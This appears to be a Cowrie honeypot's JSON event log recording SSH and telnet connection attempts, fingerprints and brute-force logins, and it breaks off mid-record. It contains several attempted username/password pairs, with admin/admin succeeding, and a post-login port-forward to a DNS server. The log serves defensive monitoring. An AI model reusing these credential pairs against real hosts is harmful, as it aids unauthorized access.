{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:0f:63:85:c3:13:af:a4:9f:6a:08:ed:60:72:e6:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyVLBQA7oQDweeJij/yn/8ZiFyJP3lJKpcLm1IS+GBiYxEoUUCAGIDWlOyHxPKM9XSI8NkeA5GVFtZUSDAKsPyxQQemYX9WNR9ut7r/BFhD91rzqRBBsDyLtqrmKkBSmhTPB4swIZPWJ6h/UML7Bs/w7bI0YAj4eFTcqblDeEP7iI7eQIUL2QeZszGqtt5MV26cLQ1SOgEMpOQr7QyFGwcbwq+c/IuL8gh0yF/EZsOqIWexMnyWnbR0YZhyfn3Qy1CA/H3AlJcsX3Ja4+9OBBgCOa4SVPM27mOOfktSTQyOcC33G+lSVH+Xn29/jCRRo2q/TvANuOzV7lt/DACxyCvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:43.564429Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:c3:a5:d4:a7:38:a1:7c:76:01:bf:0f:5b:d5:4c:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4TpQLZmge/gvo7VGcd5Cs5zSaAfS0dpAcwVBZQNLdIO/laetAVF0/O02WD8oaEBgKs9iBrii3W5uRuWHoZL3BLE0WIThLVp4yDOm9zGs/BbChOS2IG9BeoCWamZtD/70u67/AD+3hzODfPoJOFm/B8cOcL8i9RcOM/wbfM22hPxO0s6ylgLosZ3YZEyyBrfJ3mRtPGefCOWdqI3UHm5jlGKFslsp9/agI1dAVnLUg4M62rAxD5LzXgKYlebywUPF/ttTkYfm4R5KNN7RKYGoanKZW87jhZARfgyiIpibnKzpD3QMpW0dxE64utl/ylzbKcJOWpXIIkJWMnOcqg067w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:c3:a5:d4:a7:38:a1:7c:76:01:bf:0f:5b:d5:4c:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:43.649674Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:c3:a5:d4:a7:38:a1:7c:76:01:bf:0f:5b:d5:4c:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4TpQLZmge/gvo7VGcd5Cs5zSaAfS0dpAcwVBZQNLdIO/laetAVF0/O02WD8oaEBgKs9iBrii3W5uRuWHoZL3BLE0WIThLVp4yDOm9zGs/BbChOS2IG9BeoCWamZtD/70u67/AD+3hzODfPoJOFm/B8cOcL8i9RcOM/wbfM22hPxO0s6ylgLosZ3YZEyyBrfJ3mRtPGefCOWdqI3UHm5jlGKFslsp9/agI1dAVnLUg4M62rAxD5LzXgKYlebywUPF/ttTkYfm4R5KNN7RKYGoanKZW87jhZARfgyiIpibnKzpD3QMpW0dxE64utl/ylzbKcJOWpXIIkJWMnOcqg067w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:43.653804Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:d1:f0:57:c4:d0:bf:dd:c7:9f:17:32:8f:ce:7c:f2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMD3y0ud9tZZWleCHgk6b9J5zkdh+WTzNa0tUK7Txzr2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a4:d1:f0:57:c4:d0:bf:dd:c7:9f:17:32:8f:ce:7c:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:43.738037Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:d1:f0:57:c4:d0:bf:dd:c7:9f:17:32:8f:ce:7c:f2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMD3y0ud9tZZWleCHgk6b9J5zkdh+WTzNa0tUK7Txzr2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:43.742219Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:43.827888Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46874,"dst_ip":"10.17.0.5","dst_port":23,"session":"8efe45df0791","protocol":"telnet","message":"New connection: 152.42.224.71:46874 (10.17.0.5:23) [session: 8efe45df0791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:44.293226Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58178,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0ff0ccc8b20","protocol":"ssh","message":"New connection: 51.250.105.222:58178 (10.17.0.5:22) [session: b0ff0ccc8b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:55.240007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:55.245112Z","src_ip":"51.250.105.222","session":"b0ff0ccc8b20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:55.367525Z","src_ip":"51.250.105.222","session":"b0ff0ccc8b20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password01","message":"login attempt [root/password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:55.733895Z","src_ip":"51.250.105.222","session":"b0ff0ccc8b20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:56.881942Z","src_ip":"51.250.105.222","session":"b0ff0ccc8b20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57112,"dst_ip":"10.17.0.5","dst_port":22,"session":"caa297f15747","protocol":"ssh","message":"New connection: 80.94.92.184:57112 (10.17.0.5:22) [session: caa297f15747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:41:13.177776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:41:13.274786Z","src_ip":"80.94.92.184","session":"caa297f15747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:41:13.376755Z","src_ip":"80.94.92.184","session":"caa297f15747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:41:14.386609Z","src_ip":"80.94.92.184","session":"caa297f15747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:41:15.661576Z","src_ip":"80.94.92.184","session":"caa297f15747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.68623924255371,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:41:42.979324Z","src_ip":"152.42.224.71","session":"8efe45df0791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.129.145.247","src_port":33197,"dst_ip":"159.203.135.109","dst_port":23,"session":"58272dc32069","protocol":"telnet","message":"New connection: 177.129.145.247:33197 (159.203.135.109:23) [session: 58272dc32069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:42:11.102599Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46788,"dst_ip":"10.17.0.5","dst_port":23,"session":"f435baf47294","protocol":"telnet","message":"New connection: 152.42.224.71:46788 (10.17.0.5:23) [session: f435baf47294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:42:16.394488Z"}
{"eventid":"cowrie.session.closed","duration":13.914732933044434,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:42:25.017219Z","src_ip":"177.129.145.247","session":"58272dc32069","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64682,"dst_ip":"10.17.0.5","dst_port":22,"session":"33fa9064094c","protocol":"ssh","message":"New connection: 87.251.64.176:64682 (10.17.0.5:22) [session: 33fa9064094c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:42:44.799592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:42:44.804750Z","src_ip":"87.251.64.176","session":"33fa9064094c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:42:44.922876Z","src_ip":"87.251.64.176","session":"33fa9064094c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:42:45.389828Z","src_ip":"87.251.64.176","session":"33fa9064094c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:42:45.513459Z","session":"33fa9064094c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:42:45.640948Z","src_ip":"87.251.64.176","session":"33fa9064094c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:42:45.783202Z","src_ip":"87.251.64.176","session":"33fa9064094c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":59756,"dst_ip":"10.17.0.5","dst_port":22,"session":"04cb778050ab","protocol":"ssh","message":"New connection: 80.94.92.184:59756 (10.17.0.5:22) [session: 04cb778050ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:08.787166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:08.992530Z","src_ip":"80.94.92.184","session":"04cb778050ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:08.996664Z","src_ip":"80.94.92.184","session":"04cb778050ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123@","message":"login attempt [solana/123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:10.624955Z","src_ip":"80.94.92.184","session":"04cb778050ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41172,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5d79a1141d4","protocol":"telnet","message":"New connection: 152.42.224.71:41172 (10.17.0.5:23) [session: d5d79a1141d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:10.932311Z"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:12.544266Z","src_ip":"80.94.92.184","session":"04cb778050ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00501942634583,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:16.399382Z","src_ip":"152.42.224.71","session":"f435baf47294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.160107851028442,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:24.092254Z","src_ip":"152.42.224.71","session":"d5d79a1141d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40470,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d9e1794636d","protocol":"ssh","message":"New connection: 103.195.236.96:40470 (10.17.0.5:22) [session: 1d9e1794636d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:27.934853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:27.941956Z","src_ip":"103.195.236.96","session":"1d9e1794636d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:28.183185Z","src_ip":"103.195.236.96","session":"1d9e1794636d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19691969","message":"login attempt [root/19691969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:28.916497Z","src_ip":"103.195.236.96","session":"1d9e1794636d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:30.160224Z","src_ip":"103.195.236.96","session":"1d9e1794636d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":42644,"dst_ip":"159.203.135.109","dst_port":22,"session":"c22c29632fef","protocol":"ssh","message":"New connection: 193.228.128.84:42644 (159.203.135.109:22) [session: c22c29632fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:34.052816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:34.057287Z","src_ip":"193.228.128.84","session":"c22c29632fef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 